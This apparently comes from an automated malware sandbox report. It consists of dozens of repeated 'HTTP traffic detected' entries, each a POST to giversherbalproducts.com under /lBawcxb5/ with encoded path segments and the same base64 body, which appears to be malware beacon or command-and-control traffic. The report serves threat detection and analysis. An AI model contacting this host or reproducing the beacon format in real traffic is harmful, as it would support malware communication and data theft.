Source: global traffic	HTTP traffic detected: POST /lBawcxb5/enl4GDYcBgIOewx5OBp/MiEbKDx8AkJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/enl4GDYcBgIOewx5OBp/MiEbKDx8AkJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eX0ALgEICTI4BRlyQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eX0ALgEICTI4BRlyQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PnwTCj8/DwIceXNDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PnwTCj8/DwIceXNDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cxAvGkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cxAvGkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ew0TDR8RAgoIfT0bIEV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ew0TDR8RAgoIfT0bIEV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OTo6JTgvJXgEPS9DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OTo6JTgvJXgEPS9DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fTB4IBwfOiwYPxk6GRosPCV9BAJzPwp0C3IvDkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fTB4IBwfOiwYPxk6GRosPCV9BAJzPwp0C3IvDkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EQsPOCI9HT0CfXsGCQQcIA59PT18Q3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eiIKJxsgHw06Agp6BB8ucnsudSg6HAUOKix7e0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EQsPOCI9HT0CfXsGCQQcIA59PT18Q3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CgN/RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eiIKJxsgHw06Agp6BB8ucnsudSg6HAUOKix7e0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BjgzCn0nPhkcGCpDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CgN/RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AD0jNh4yPXMuNjMDDTsAGiwzChYyejo5Oik6Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BjgzCn0nPhkcGCpDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MQN8fQJCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AD0jNh4yPXMuNjMDDTsAGiwzChYyejo5Oik6Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HQUsCCQkQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MQN8fQJCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LSQbFSMqOi86NycfOA4HeXMIIXwEGBInKTkgQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HQUsCCQkQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EQ4vO0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LSQbFSMqOi86NycfOA4HeXMIIXwEGBInKTkgQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/B0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EQ4vO0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/O0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/B0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eHkufUZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BEN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/O0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eHkufUZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HBh5OS4KPhEaDX4zInUmIRkKJg0aICwiFRgJQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BEN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
